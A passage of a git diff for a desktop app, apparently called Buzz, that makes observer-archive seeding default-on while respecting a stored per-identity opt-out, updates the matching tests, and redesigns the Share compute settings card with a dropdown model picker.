+      return "unset";
+    },
+    setExplicitChoice: (pubkey, enabled) => {
+      choices.set(pubkey, enabled);
+    },
   };
 }
 
@@ -35,50 +41,111 @@ function tick() {
   return new Promise((r) => setTimeout(r, 0));
 }
 
-// ── Internal policy build ────────────────────────────────────────────────────
+// ── Reconciliation always seeds 24200 ────────────────────────────────────────
 
-test("test_internal_policy_seeds_24200", async () => {
-  const deps = makeDeps({ policyOn: true });
-  await reconcileObserverArchive(deps);
+test("test_reconcile_always_seeds_24200", async () => {
+  const deps = makeDeps();
+  await reconcileObserverArchive("pk1", deps);
 
   assert.equal(deps.calls.merge.length, 1);
   assert.equal(deps.calls.merge[0].kind, 24200);
 });
 
-// ── OSS build — policy-off is a pure no-op ──────────────────────────────────
-
-test("test_oss_policy_off_no_merge", async () => {
-  const deps = makeDeps({ policyOn: false });
-  await reconcileObserverArchive(deps);
-
-  assert.equal(deps.calls.merge.length, 0, "OSS must not merge");
-});
-
 // ── Failure behavior ─────────────────────────────────────────────────────────
 
 test("test_merge_failure_rejects", async () => {
-  const deps = makeDeps({ policyOn: true, mergeShouldFail: true });
+  const deps = makeDeps({ mergeShouldFail: true });
 
-  await assert.rejects(() => reconcileObserverArchive(deps), {
+  await assert.rejects(() => reconcileObserverArchive("pk1", deps), {
     message: "merge failed",
   });
 });
 
-test("test_flag_check_failure_rejects", async () => {
-  const deps = makeDeps({ flagShouldFail: true });
+// ── Explicit opt-out survives restart ────────────────────────────────────────
 
-  await assert.rejects(() => reconcileObserverArchive(deps), {
-    message: "flag check failed",
-  });
-  assert.equal(deps.calls.merge.length, 0);
+test("test_reconcile_explicit_optout_skips_merge", async () => {
+  // Simulate a user who explicitly opted out (choice stored as false).
+  const deps = makeDeps({ explicitChoice: false });
+  await reconcileObserverArchive("pk1", deps);
+
+  assert.equal(
+    deps.calls.merge.length,
+    0,
+    "merge must NOT fire when user has explicitly opted out",
+  );
+});
+
+test("test_reconcile_storage_error_treated_as_fail_closed", async () => {
+  // Storage errors return `true` (not "unset"), which means reconcile
+  // treats them as an already-set choice and skips the merge.
+  // This prevents auto-seeding from silently overriding a stored opt-out
+  // that we couldn't read due to the error.
+  const deps = makeDeps();
+  // Override readExplicitChoice to simulate a storage error returning `true`.
+  deps.readExplicitChoice = () => true;
+
+  await reconcileObserverArchive("pk1", deps);
+
+  assert.equal(
+    deps.calls.merge.length,
+    0,
+    "merge must NOT fire when storage error returns fail-closed true",
+  );
+});
+
+test("test_reconcile_explicit_optin_already_seeded_skips_merge", async () => {
+  // Simulate a user who already has an explicit opt-in recorded (already
+  // seeded on a prior run). The new tri-state model skips merge for any
+  // non-"unset" choice — re-merging is idempotent but wasteful.
+  const deps = makeDeps({ explicitChoice: true });
+  await reconcileObserverArchive("pk1", deps);
+
+  assert.equal(
+    deps.calls.merge.length,
+    0,
+    "merge must NOT fire when choice is already recorded as opted-in",
+  );
+});
+
+test("test_reconcile_no_prior_choice_seeds_and_records_choice", async () => {
+  const deps = makeDeps(); // no explicitChoice set
+  await reconcileObserverArchive("pk1", deps);
+
+  assert.equal(deps.calls.merge.length, 1, "merge must fire on first run");
+  // After reconciliation the choice should now be recorded as true.
+  assert.equal(
+    deps.readExplicitChoice("pk1"),
+    true,
+    "stored choice must be true after seed",
+  );
+});
+
+test("test_reconcile_toggle_off_then_restart_does_not_remerge", async () => {
+  // This is the exact failure mode Paul described:
+  // 1. User toggles OFF → setExplicitChoice("pk1", false)
+  // 2. App restarts → reconcileObserverArchive runs again
+  // 3. Expected: merge is NOT called (opt-out preserved)
+  const deps = makeDeps();
+
+  // Simulate the card's handleObserverToggle(false) path: explicit opt-out stored.
+  deps.setExplicitChoice("pk1", false);
+
+  // Simulate app restart — reconciliation fires.
+  await reconcileObserverArchive("pk1", deps);
+
+  assert.equal(
+    deps.calls.merge.length,
+    0,
+    "merge must NOT fire after explicit opt-out on app restart",
+  );
 });
 
 // ── Startup ordering (real ArchiveSyncManager + real reconciler) ─────────────
 
 test("test_archive_sync_blocked_until_reconciliation", async () => {
-  let resolveFlag;
-  const flagPromise = new Promise((resolve) => {
-    resolveFlag = resolve;
+  let resolveMerge;
+  const mergePromise = new Promise((resolve) => {
+    resolveMerge = resolve;
   });
 
   const subscribeCalls = [];
@@ -90,8 +157,9 @@ test("test_archive_sync_blocked_until_reconciliation", async () => {
   };
 
   const reconcilerDeps = {
-    observerArchiveDefaultEnabled: () => flagPromise,
-    mergeSaveSubscriptionKinds: async () => {},
+    mergeSaveSubscriptionKinds: () => mergePromise,
+    readExplicitChoice: () => "unset",
+    setExplicitChoice: () => {},
   };
 
   const manager = new ArchiveSyncManager({
@@ -110,8 +178,8 @@ test("test_archive_sync_blocked_until_reconciliation", async () => {
     onSubscriptionChange: () => () => {},
   });
 
-  // Start reconciliation (pending — flag check not yet resolved).
-  const reconciling = reconcileObserverArchive(reconcilerDeps);
+  // Start reconciliation (pending — merge not yet resolved).
+  const reconciling = reconcileObserverArchive("pk1", reconcilerDeps);
 
   // Before reconciliation resolves, manager must not have been started.
   await tick();
@@ -122,7 +190,7 @@ test("test_archive_sync_blocked_until_reconciliation", async () => {
   );
 
   // Resolve reconciliation — now start the manager (simulating the gate).
-  resolveFlag(true);
+  resolveMerge();
   await reconciling;
   await manager.start();
 
@@ -139,7 +207,7 @@ test("test_archive_sync_blocked_until_reconciliation", async () => {
 });
 
 test("test_archive_sync_blocked_on_reconciliation_rejection", async () => {
-  const reconcilerDeps = makeDeps({ policyOn: true, mergeShouldFail: true });
+  const reconcilerDeps = makeDeps({ mergeShouldFail: true });
 
   const subscribeCalls = [];
   const fakeRelay = {
@@ -168,7 +236,7 @@ test("test_archive_sync_blocked_on_reconciliation_rejection", async () => {
   // Reconciliation rejects — gate must remain closed.
   let rejected = false;
   try {
-    await reconcileObserverArchive(reconcilerDeps);
+    await reconcileObserverArchive("pk1", reconcilerDeps);
   } catch {
     rejected = true;
   }
@@ -207,8 +275,8 @@ test("test_identity_change_resets_readiness", async () => {
   let reconciledPubkey = null;
 
   // Identity A reconciles successfully.
-  const depsA = makeDeps({ policyOn: true });
-  await reconcileObserverArchive(depsA);
+  const depsA = makeDeps();
+  await reconcileObserverArchive("pkA", depsA);
   reconciledPubkey = "pkA";
   assert.equal(
     isReconciledFor(reconciledPubkey, "pkA"),
@@ -224,8 +292,8 @@ test("test_identity_change_resets_readiness", async () => {
   );
 
   // B reconciles successfully.
-  const depsB = makeDeps({ policyOn: true });
-  await reconcileObserverArchive(depsB);
+  const depsB = makeDeps();
+  await reconcileObserverArchive("pkB", depsB);
   reconciledPubkey = "pkB";
   assert.equal(
     isReconciledFor(reconciledPubkey, "pkB"),
@@ -243,14 +311,14 @@ test("test_identity_change_b_failure_stays_closed", async () => {
   let reconciledPubkey = null;
 
   // Identity A reconciles successfully.
-  const depsA = makeDeps({ policyOn: true });
-  await reconcileObserverArchive(depsA);
+  const depsA = makeDeps();
+  await reconcileObserverArchive("pkA", depsA);
   reconciledPubkey = "pkA";
 
   // Identity changes to B — B's reconciliation fails.
-  const depsB = makeDeps({ policyOn: true, mergeShouldFail: true });
+  const depsB = makeDeps({ mergeShouldFail: true });
   try {
-    await reconcileObserverArchive(depsB);
+    await reconcileObserverArchive("pkB", depsB);
     reconciledPubkey = "pkB";
   } catch {
     // B failed — reconciledPubkey stays "pkA" (stale).
@@ -272,7 +340,7 @@ test("test_identity_change_b_failure_stays_closed", async () => {
 // re-running an effect with new deps (identity switch).
 
 test("test_startReconciliation_calls_onReady_after_success", async () => {
-  const deps = makeDeps({ policyOn: true });
+  const deps = makeDeps();
   const readyCalls = [];
 
   startReconciliation("pk1", deps, (pubkey) => readyCalls.push(pubkey));
@@ -283,13 +351,14 @@ test("test_startReconciliation_calls_onReady_after_success", async () => {
 });
 
 test("test_startReconciliation_unmount_before_resolve_suppresses_onReady", async () => {
-  let resolveFlag;
-  const flagPromise = new Promise((resolve) => {
-    resolveFlag = resolve;
+  let resolveMerge;
+  const mergePromise = new Promise((resolve) => {
+    resolveMerge = resolve;
   });
   const deps = {
-    observerArchiveDefaultEnabled: () => flagPromise,
-    mergeSaveSubscriptionKinds: async () => {},
+    mergeSaveSubscriptionKinds: () => mergePromise,
+    readExplicitChoice: () => "unset",
+    setExplicitChoice: () => {},
   };
   const readyCalls = [];
 
@@ -297,9 +366,9 @@ test("test_startReconciliation_unmount_before_resolve_suppresses_onReady", async
     readyCalls.push(pubkey),
   );
 
-  // Unmount (or re-run effect) before the flag check resolves.
+  // Unmount (or re-run effect) before the merge resolves.
   cancel();
-  resolveFlag(true);
+  resolveMerge();
   await tick();
 
   assert.deepEqual(
@@ -310,15 +379,16 @@ test("test_startReconciliation_unmount_before_resolve_suppresses_onReady", async
 });
 
 test("test_startReconciliation_identity_switch_stale_completion_suppressed", async () => {
-  let resolveFlagA;
-  const flagPromiseA = new Promise((resolve) => {
-    resolveFlagA = resolve;
+  let resolveMergeA;
+  const mergePromiseA = new Promise((resolve) => {
+    resolveMergeA = resolve;
   });
   const depsA = {
-    observerArchiveDefaultEnabled: () => flagPromiseA,
-    mergeSaveSubscriptionKinds: async () => {},
+    mergeSaveSubscriptionKinds: () => mergePromiseA,
+    readExplicitChoice: () => "unset",
+    setExplicitChoice: () => {},
   };
-  const depsB = makeDeps({ policyOn: true });
+  const depsB = makeDeps();
   const readyCalls = [];
   const onReady = (pubkey) => readyCalls.push(pubkey);
 
@@ -330,8 +400,8 @@ test("test_startReconciliation_identity_switch_stale_completion_suppressed", asy
   cancelA();
   startReconciliation("pkB", depsB, onReady);
 
-  // A's flag check now resolves late — its stale completion must not fire.
-  resolveFlagA(true);
+  // A's merge now resolves late — its stale completion must not fire.
+  resolveMergeA();
   await tick();
 
   assert.deepEqual(
@@ -342,7 +412,7 @@ test("test_startReconciliation_identity_switch_stale_completion_suppressed", asy
 });
 
 test("test_startReconciliation_failure_does_not_call_onReady", async () => {
-  const deps = makeDeps({ policyOn: true, mergeShouldFail: true });
+  const deps = makeDeps({ mergeShouldFail: true });
   const readyCalls = [];
 
   startReconciliation("pk1", deps, (pubkey) => readyCalls.push(pubkey));
@@ -354,8 +424,8 @@ test("test_startReconciliation_failure_does_not_call_onReady", async () => {
 // ── Metric seed independence ─────────────────────────────────────────────────
 
 test("test_metric_seed_remains_independently_deferrable", async () => {
-  const deps = makeDeps({ policyOn: true });
-  await reconcileObserverArchive(deps);
+  const deps = makeDeps();
+  await reconcileObserverArchive("pk1", deps);
 
   assert.equal(deps.calls.merge.length, 1);
   assert.equal(deps.calls.merge[0].kind, 24200, "must only touch kind 24200");
diff --git a/desktop/src/features/local-archive/useObserverArchiveSeed.ts b/desktop/src/features/local-archive/useObserverArchiveSeed.ts
index 7fc87f010c..6a70ed2093 100644
--- a/desktop/src/features/local-archive/useObserverArchiveSeed.ts
+++ b/desktop/src/features/local-archive/useObserverArchiveSeed.ts
@@ -1,40 +1,46 @@
 import * as React from "react";
 
 import { KIND_AGENT_OBSERVER_FRAME } from "@/shared/constants/kinds";
+import { mergeSaveSubscriptionKinds } from "@/shared/api/tauriArchive";
 import {
-  mergeSaveSubscriptionKinds,
-  observerArchiveDefaultEnabled,
-} from "@/shared/api/tauriArchive";
+  readExplicitObserverArchiveChoice,
+  setExplicitObserverArchiveChoice,
+} from "./observerArchivePreference";
 
 export interface ObserverArchiveSeedDeps {
-  observerArchiveDefaultEnabled: () => Promise<boolean>;
   mergeSaveSubscriptionKinds: (kind: number) => Promise<void>;
+  readExplicitChoice: (pubkey: string) => boolean | "unset";
+  setExplicitChoice: (pubkey: string, enabled: boolean) => void;
 }
 
 const defaultDeps: ObserverArchiveSeedDeps = {
-  observerArchiveDefaultEnabled,
   mergeSaveSubscriptionKinds,
+  readExplicitChoice: readExplicitObserverArchiveChoice,
+  setExplicitChoice: setExplicitObserverArchiveChoice,
 };
 
 /**
  * Reconcile observer-feed archive state for the current identity.
  *
- * Internal builds (policy flag ON): unconditionally ensure kind 24200 exists
- * in the DB subscription.
- *
- * OSS builds (policy flag OFF): no-op. The Settings toggle is the only
- * mutation path for OSS users.
+ * Archive defaults to enabled for all builds. Merges kind 24200 into the
+ * DB subscription via an atomic DB-side merge — UNLESS the user has
+ * previously made an explicit opt-out choice for this identity, in which
+ * case we skip the merge to preserve their preference across restarts.
  *
  * Rejects on failure — callers must not open archive listeners against
  * unreconciled state.
  */
 export async function reconcileObserverArchive(
+  pubkey: string,
   deps: ObserverArchiveSeedDeps = defaultDeps,
 ): Promise<void> {
-  const policyOn = await deps.observerArchiveDefaultEnabled();
-  if (!policyOn) return;
-
+  const choice = deps.readExplicitChoice(pubkey);
+  // Any explicit choice (or a storage error treated as fail-closed) skips the
+  // merge: opted-out users stay opted out; already-seeded users stay seeded.
+  if (choice !== "unset") return;
+  // No prior choice: seed the default-on subscription and record it.
   await deps.mergeSaveSubscriptionKinds(KIND_AGENT_OBSERVER_FRAME);
+  deps.setExplicitChoice(pubkey, true);
 }
 
 /**
@@ -73,7 +79,7 @@ export function startReconciliation(
 ): () => void {
   let cancelled = false;
 
-  reconcileObserverArchive(deps)
+  reconcileObserverArchive(pubkey, deps)
     .then(() => {
       if (!cancelled) onReady(pubkey);
     })
diff --git a/desktop/src/features/mesh-compute/ui/MeshComputeSettingsCard.tsx b/desktop/src/features/mesh-compute/ui/MeshComputeSettingsCard.tsx
index fd7550eff0..bf2d8e7c22 100644
--- a/desktop/src/features/mesh-compute/ui/MeshComputeSettingsCard.tsx
+++ b/desktop/src/features/mesh-compute/ui/MeshComputeSettingsCard.tsx
@@ -1,9 +1,19 @@
 import * as React from "react";
-import { ChevronDown, Cpu } from "lucide-react";
+import { ChevronDown } from "lucide-react";
+import { AnimatePresence, motion, useReducedMotion } from "motion/react";
 
-import { Input } from "@/shared/ui/input";
 import { Switch } from "@/shared/ui/switch";
 import { cn } from "@/shared/lib/cn";
+import {
+  AgentConfigTextInput,
+  AgentDropdownSelect,
+  type AgentDropdownOption,
+} from "@/features/agents/ui/agentConfigControls";
+import {
+  CUSTOM_MODEL_DROPDOWN_VALUE,
+  PERSONA_FIELD_CONTROL_CLASS,
+  PERSONA_FIELD_SHELL_CLASS,
+} from "@/features/agents/ui/agentConfigOptions";
 
 import {
   meshStartNode,
@@ -17,10 +27,6 @@ import type {
   MeshModelOption,
   MeshNodeStatus,
 } from "@/shared/api/tauriMesh";
-import {
-  SettingsOptionGroup,
-  SettingsOptionRow,
-} from "@/features/settings/ui/SettingsOptionGroup";
 import { SettingsSectionHeader } from "@/features/settings/ui/SettingsSectionHeader";
 import { classifyModelRef } from "../classifyModelRef";
 import {
@@ -36,6 +42,20 @@ import { deriveServingIndicator } from "../servingUsage";
 const MODEL_DRAFT_STORAGE_KEY = "buzz.mesh-compute.share.model.v1";
 const MAX_VRAM_DRAFT_STORAGE_KEY = "buzz.mesh-compute.share.max-vram-gb.v1";
 
+// Keep the Share compute controls visually and behaviorally aligned with the
+// agent configuration fields. This is intentionally the same shell used by
+// AgentDefaultsEditor rather than a local approximation of a select.
+const MESH_SELECT_TRIGGER_CLASS = cn(
+  PERSONA_FIELD_CONTROL_CLASS,
+  PERSONA_FIELD_SHELL_CLASS,
+  "h-11 px-3 py-2 leading-6 hover:bg-muted/40 focus:bg-muted/40 [&>svg]:text-muted-foreground/60",
+);
+
+const SHARE_COMPUTE_REVEAL_TRANSITION = {
+  duration: 0.22,
+  ease: [0.23, 1, 0.32, 1],
+} as const;
+
 function readDraft(key: string): string {
   try {
     return window.localStorage.getItem(key) ?? "";
@@ -64,6 +84,7 @@ function writeDraft(key: string, value: string): void {
  * exposing implementation protocols or raw mesh controls.
  */
 export function MeshComputeSettingsCard() {
+  const shouldReduceMotion = useReducedMotion();
   const { status, error, refresh } = useMeshNodeStatus();
   const [installedModels, setInstalledModels] = React.useState<
     MeshModelOption[]
@@ -75,6 +96,7 @@ export function MeshComputeSettingsCard() {
   const [maxVramGb, setMaxVramGb] = React.useState<string>(() =>
     readDraft(MAX_VRAM_DRAFT_STORAGE_KEY),
   );
+  const [isCustomModelEditing, setIsCustomModelEditing] = React.useState(false);
   const [advancedOpen, setAdvancedOpen] = React.useState(false);
   const [actionInFlight, setActionInFlight] = React.useState(false);
   const [pendingAction, setPendingAction] = React.useState<
@@ -163,6 +185,7 @@ export function MeshComputeSettingsCard() {
   const controlsDisabled = actionInFlight || (slotOccupied && !isConsuming);
   const refClass = classifyModelRef(modelInput);
   const canStart = refClass.kind !== "unknown" && !actionInFlight;
+  const showSharingControls = isSharing || pendingAction === "start";
 
   async function handleToggle(next: boolean) {
     // Never let the Share switch tear down a consume session. The switch is
@@ -204,12 +227,7 @@ export function MeshComputeSettingsCard() {
     <section className="min-w-0" data-testid="settings-mesh-share-compute">
       <SettingsSectionHeader
         title="Share compute"
-        description={
-          <>
-            Share this machine with your relay. When on, other members can run
-            their agents here.
-          </>
-        }
+        description="Share this machine with members of this relay so they can run agents here."
       />
 
       {error ? (
@@ -226,8 +244,8 @@ export function MeshComputeSettingsCard() {
         <DownloadProgressBar progress={downloadProgress} />
       ) : null}
 
-      <SettingsOptionGroup>
-        <SettingsOptionRow>
+      <div className="space-y-5">
+        <div className="flex min-w-0 items-start justify-between gap-6">
           <div className="min-w-0">
             <label
               className="text-sm font-medium"
@@ -235,29 +253,12 @@ export function MeshComputeSettingsCard() {
             >
               Share this machine
             </label>
-            <StatusLine
-              isConsuming={isConsuming}
-              pendingAction={pendingAction}
-              status={status}
-            />
-            {servingIndicator.show ? (
-              <p
-                className={
-                  servingIndicator.hasRemoteConsumers
-                    ? "mt-0.5 text-2xs text-emerald-600 dark:text-emerald-400"
-                    : "mt-0.5 text-2xs text-muted-foreground"
-                }
-                data-testid="mesh-serving-usage"
-                title={servingIndicator.detail ?? undefined}
-              >
-                {servingIndicator.label}
-                {servingIndicator.detail ? (
-                  <span className="text-muted-foreground">
-                    {" "}
-                    · {servingIndicator.detail}
-                  </span>
-                ) : null}
-              </p>
+            {!isSharing ? (
+              <StatusLine
+                isConsuming={isConsuming}
+                pendingAction={pendingAction}
+                status={status}
+              />
             ) : null}
           </div>
           <Switch
@@ -277,126 +278,125 @@ export function MeshComputeSettingsCard() {
             id="mesh-share-compute-toggle"
             onCheckedChange={handleToggle}
           />
-        </SettingsOptionRow>
+        </div>
+
+        <MeshModelPicker
+          catalog={catalog}
+          disabled={controlsDisabled}
+          installedModels={installedModels}
+          isCustomModelEditing={isCustomModelEditing}
+          model={modelInput}
+          onCustomModelEditingChange={setIsCustomModelEditing}
+          onModelChange={(next) => {
+            setModelInput(next);
+            writeDraft(MODEL_DRAFT_STORAGE_KEY, next);
+          }}
+        />
 
-        <div className="px-4 pb-4 pt-5">
-          <label
-            className="mb-3 flex items-center gap-2 text-sm font-medium"
-            htmlFor="mesh-share-compute-model"
+        <div className="pt-3">
+          <button
+            aria-expanded={advancedOpen}
+            className="inline-flex h-9 items-center gap-1.5 text-sm font-medium text-foreground transition-colors hover:text-foreground/80 focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
+            data-testid="mesh-share-compute-advanced-toggle"
+            onClick={() => setAdvancedOpen((current) => !current)}
+            type="button"
           >
-            <Cpu className="h-4 w-4 text-muted-foreground" />
-            Model
-          </label>
-          <div className="flex flex-col gap-2">
-            <Input
-              data-testid="mesh-share-compute-model"
-              disabled={controlsDisabled}
-              id="mesh-share-compute-model"
-              onChange={(e) => {
-                const next = e.target.value;
-                setModelInput(next);
-                writeDraft(MODEL_DRAFT_STORAGE_KEY, next);
-              }}
-              placeholder="Qwen3-8B-Q4_K_M or hf://meshllm/qwen3-8b@main"
-              value={modelInput}
+            <span>Advanced</span>
+            <ChevronDown
+              className={cn(
+                "h-4 w-4 text-muted-foreground transition-transform duration-150 ease-out",
+                advancedOpen && "rotate-180",
+              )}
             />
-            <p className="text-sm font-normal text-muted-foreground">
-              Choose a suggested model below, or enter a model reference or
-              local file. Buzz downloads remote models when sharing starts.
-            </p>
-            {catalog && catalog.entries.length > 0 ? (
-              <CatalogPicker
-                catalog={catalog}
+          </button>
+          {advancedOpen ? (
+            <div className="mt-3 space-y-1.5">
+              <label className="text-sm font-medium" htmlFor="mesh-vram">
+                Max VRAM (GB)
+              </label>
+              <AgentConfigTextInput
+                data-testid="mesh-share-compute-vram"
                 disabled={controlsDisabled}
-                onPick={(name) => {
-                  setModelInput(name);
-                  writeDraft(MODEL_DRAFT_STORAGE_KEY, name);
+                id="mesh-vram"
+                inputMode="decimal"
+                onChange={(e) => {
+                  const next = e.target.value;
+                  setMaxVramGb(next);
+                  writeDraft(MAX_VRAM_DRAFT_STORAGE_KEY, next);
                 }}
-                selected={modelInput.trim()}
+                placeholder="No limit"
+                usePersonaInputStyle
+                value={maxVramGb}
               />
-            ) : null}
-            {installedModels.length > 0 ? (
-              <div className="mt-1">
+              {status?.consoleUrl ? (
                 <p className="text-sm font-normal text-muted-foreground">
-                  Already installed on this machine:
+                  Debug console:{" "}
+                  <a
+                    className="underline"
+                    href={status.consoleUrl}
+                    rel="noreferrer"
+                    target="_blank"
+                  >
+                    {status.consoleUrl}
+                  </a>
                 </p>
-                <ul
-                  className="mt-1 flex flex-wrap gap-1.5"
-                  data-testid="mesh-share-compute-installed-list"
-                >
-                  {installedModels.map((m) => (
-                    <li key={m.id}>
-                      <button
-                        className="rounded border border-border/60 bg-muted/20 px-2 py-0.5 text-sm hover:bg-muted/40 disabled:cursor-not-allowed disabled:opacity-50"
-                        disabled={controlsDisabled}
-                        onClick={() => {
-                          setModelInput(m.id);
-                          writeDraft(MODEL_DRAFT_STORAGE_KEY, m.id);
-                        }}
-                        type="button"
-                      >
-                        {m.name ?? m.id}
-                      </button>
-                    </li>
-                  ))}
-                </ul>
-              </div>
-            ) : null}
-          </div>
+              ) : null}
+            </div>
+          ) : null}
         </div>
 
-        <details
-          className="px-4 py-3"
-          onToggle={(e) =>
-            setAdvancedOpen((e.target as HTMLDetailsElement).open)
-          }
-          open={advancedOpen}
-        >
-          <summary className="flex cursor-pointer items-center gap-1.5 text-sm font-medium text-foreground">
-            <ChevronDown
-              className={cn(
-                "h-4 w-4 text-muted-foreground transition-transform",
-                advancedOpen ? "rotate-0" : "-rotate-90",
-              )}
-            />
-            Advanced
-          </summary>
-          <div className="mt-3 flex flex-col gap-2">
-            <label className="text-sm font-medium" htmlFor="mesh-vram">
-              Max VRAM (GB)
-            </label>
-            <Input
-              data-testid="mesh-share-compute-vram"
-              id="mesh-vram"
-              inputMode="decimal"
-              onChange={(e) => {
-                const next = e.target.value;
-                setMaxVramGb(next);
-                writeDraft(MAX_VRAM_DRAFT_STORAGE_KEY, next);
-              }}
-              placeholder="No limit"
-              value={maxVramGb}
-            />
-            {status?.consoleUrl ? (
-              <p className="text-sm font-normal text-muted-foreground">
-                Debug console:{" "}
-                <a
-                  className="underline"
-                  href={status.consoleUrl}
-                  rel="noreferrer"
-                  target="_blank"
-                >
-                  {status.consoleUrl}
-                </a>
-              </p>
-            ) : null}
-          </div>
-        </details>
-      </SettingsOptionGroup>
-
-      <p className="mt-3 rounded-lg bg-muted/30 px-3 py-2 text-sm font-normal text-muted-foreground">
-        Only members of this relay can use this machine's shared compute.
-      </p>
+        <AnimatePresence initial={false}>
+          {showSharingControls ? (
+            <motion.div
+              animate={{ height: "auto", opacity: 1 }}
+              className="overflow-hidden"
+              data-testid="mesh-share-compute-options-motion"
+              exit={{ height: 0, opacity: 0 }}
+              initial={{ height: 0, opacity: 0 }}
+              key="mesh-share-compute-options"
+              transition={
+                shouldReduceMotion
+                  ? { duration: 0 }
+                  : SHARE_COMPUTE_REVEAL_TRANSITION
+              }
+            >
+              <section
+                className="space-y-1"
+                data-testid="mesh-share-compute-sharing-status"
+              >
+                <h3 className="text-sm font-medium">Sharing</h3>
+                <div className="space-y-1 rounded-lg bg-muted/30 px-3 py-2">
+                  <StatusLine
+                    isConsuming={isConsuming}
+                    omitSharingVerb
+                    pendingAction={pendingAction}
+                    status={status}
+                  />
+                  {servingIndicator.show ? (
+                    <p
+                      className={
+                        servingIndicator.hasRemoteConsumers
+                          ? "text-2xs text-emerald-600 dark:text-emerald-400"
+                          : "text-2xs text-muted-foreground"
+                      }
+                      data-testid="mesh-serving-usage"
+                      title={servingIndicator.detail ?? undefined}
+                    >
+                      {servingIndicator.label}
+                      {servingIndicator.detail ? (
+                        <span className="text-muted-foreground">
+                          {" "}
+                          · {servingIndicator.detail}
+                        </span>
+                      ) : null}
+                    </p>
+                  ) : null}
+                </div>
+              </section>
+            </motion.div>
+          ) : null}
+        </AnimatePresence>
+      </div>
     </section>
   );
 }
@@ -465,100 +465,159 @@ const FIT_CLASS: Record<MeshCatalogEntry["fit"], string> = {
 };
 
 /**
- * Hardware-ranked curated model list (mesh-console's diagnose pattern).
- * Click a row to fill the model field. Models too large for this machine are
- * listed but disabled — honest about why, instead of hiding them.
+ * Share Compute's models use the agent configuration picker instead of a
+ * second, hand-rolled option system. The catalog remains hardware-aware, but
+ * its recommendations, installed models, and advanced choices now appear in
+ * the same searchable dropdown used when customizing an agent.
  */
-function CatalogPicker({
+function MeshModelPicker({
   catalog,
   disabled,
-  onPick,
-  selected,
+  installedModels,
+  isCustomModelEditing,
+  model,
+  onCustomModelEditingChange,
+  onModelChange,
 }: {
-  catalog: MeshModelCatalog;
+  catalog: MeshModelCatalog | null;
   disabled: boolean;
-  onPick: (name: string) => void;
-  selected: string;
+  installedModels: readonly MeshModelOption[];
+  isCustomModelEditing: boolean;
+  model: string;
+  onCustomModelEditingChange: (editing: boolean) => void;
+  onModelChange: (model: string) => void;
 }) {
-  const [expanded, setExpanded] = React.useState(false);
-  // Above the fold: the Buzz-curated picks (models known to work well with
-  // agents on shared compute). Below: everything else, as advanced options.
-  const curated = catalog.entries.filter((e) => e.curated);
-  const advanced = catalog.entries.filter((e) => !e.curated);
-  const visible = expanded ? catalog.entries : curated;
+  const options = React.useMemo<AgentDropdownOption[]>(() => {
+    const seen = new Set<string>();
+    const catalogOptions = (catalog?.entries ?? []).map((entry) => {
+      seen.add(entry.name);
+      return {
+        disabled: entry.fit === "too_large",
+        label: <MeshModelOptionLabel entry={entry} />,
+        value: entry.name,
+      };
+    });
+    const localOptions = installedModels.flatMap((installed) => {
+      if (seen.has(installed.id)) return [];
+      return [
+        {
+          label: (
+            <div className="flex min-w-0 items-center justify-between gap-3">
+              <span className="min-w-0 truncate">
+                {installed.name ?? installed.id}
+              </span>
+              <span className="shrink-0 text-2xs text-muted-foreground">
+                Installed
+              </span>
+            </div>
+          ),
+          value: installed.id,
+        },
+      ];
+    });
+    return [
+      ...catalogOptions,
+      ...localOptions,
+      { label: "Custom model…", value: CUSTOM_MODEL_DROPDOWN_VALUE },
+    ];
+  }, [catalog?.entries, installedModels]);
+  const knownModel = options.some((option) => option.value === model.trim());
+  const showCustomModelInput =
+    isCustomModelEditing || (model.trim().length > 0 && !knownModel);
+  const selectedValue = showCustomModelInput
+    ? CUSTOM_MODEL_DROPDOWN_VALUE
+    : model.trim();
+
+  function handleModelChange(next: string) {
+    if (next === CUSTOM_MODEL_DROPDOWN_VALUE) {
+      onCustomModelEditingChange(true);
+      return;
+    }
+    onCustomModelEditingChange(false);
+    onModelChange(next);
+  }
+
   return (
-    <div className="mt-1" data-testid="mesh-share-compute-catalog">
+    <div className="space-y-1.5" data-testid="mesh-share-compute-catalog">
+      <label className="text-sm font-medium" htmlFor="mesh-share-compute-model">
+        Model
+      </label>
+      <AgentDropdownSelect
+        className={MESH_SELECT_TRIGGER_CLASS}
+        disabled={disabled}
+        id="mesh-share-compute-model"
+        onValueChange={handleModelChange}
+        options={options}
+        placeholder="Select a model"
+        placeholderClassName="text-muted-foreground/55"
+        searchable
+        testId="mesh-share-compute-model"
+        value={selectedValue}
+      />
+      {showCustomModelInput ? (
+        <AgentConfigTextInput
+          aria-label="Custom model reference"
+          autoCorrect="off"
+          disabled={disabled}
+          onChange={(event) => {
+            // A stored custom ref starts out inferred rather than explicitly
+            // selected. Mark it as an active custom edit before applying a
+            // cleared value so the field stays mounted while it is replaced.
+            onCustomModelEditingChange(true);
+            onModelChange(event.target.value);
+          }}
+          placeholder="Qwen3-8B-Q4_K_M or hf://meshllm/qwen3-8b@main"
+          usePersonaInputStyle
+          value={model}
+        />
+      ) : null}
       <p className="text-sm font-normal text-muted-foreground">
-        Recommended for this machine
-        {catalog.gpuName ? ` (${catalog.gpuName}, ` : " ("}
-        {catalog.vramDisplay} AI memory):
+        {catalog
+          ? `Recommended for this machine${catalog.gpuName ? ` (${catalog.gpuName}, ${catalog.vramDisplay} AI memory)` : ""}.`
+          : "Choose a model or enter a model reference or local file."}{" "}
+        Buzz downloads remote models when sharing starts.
       </p>
-      <ul className="mt-1.5 flex max-h-56 flex-col gap-1 overflow-y-auto">
-        {visible.map((entry) => {
-          const isSelected = entry.name === selected;
-          const tooLarge = entry.fit === "too_large";
-          return (
-            <li key={entry.name}>
-              <button
-                className={cn(
-                  "flex w-full items-baseline gap-2 rounded border px-2 py-1 text-left text-sm",
-                  isSelected
-                    ? "border-primary/60 bg-primary/10"
-                    : "border-border/60 bg-muted/20 hover:bg-muted/40",
-                  "disabled:cursor-not-allowed disabled:opacity-50",
-                )}
-                data-testid={`mesh-catalog-${entry.name}`}
-                disabled={disabled || tooLarge}
-                onClick={() => onPick(entry.name)}
-                title={entry.description}
-                type="button"
-              >
-                <span className="min-w-0 truncate font-medium">
-                  {entry.name}
-                </span>
-                <span className="shrink-0 text-muted-foreground">
-                  {entry.size}
-                </span>
-                <span className={cn("shrink-0", FIT_CLASS[entry.fit])}>
-                  {FIT_LABEL[entry.fit]}
-                </span>
-                {entry.recommended ? (
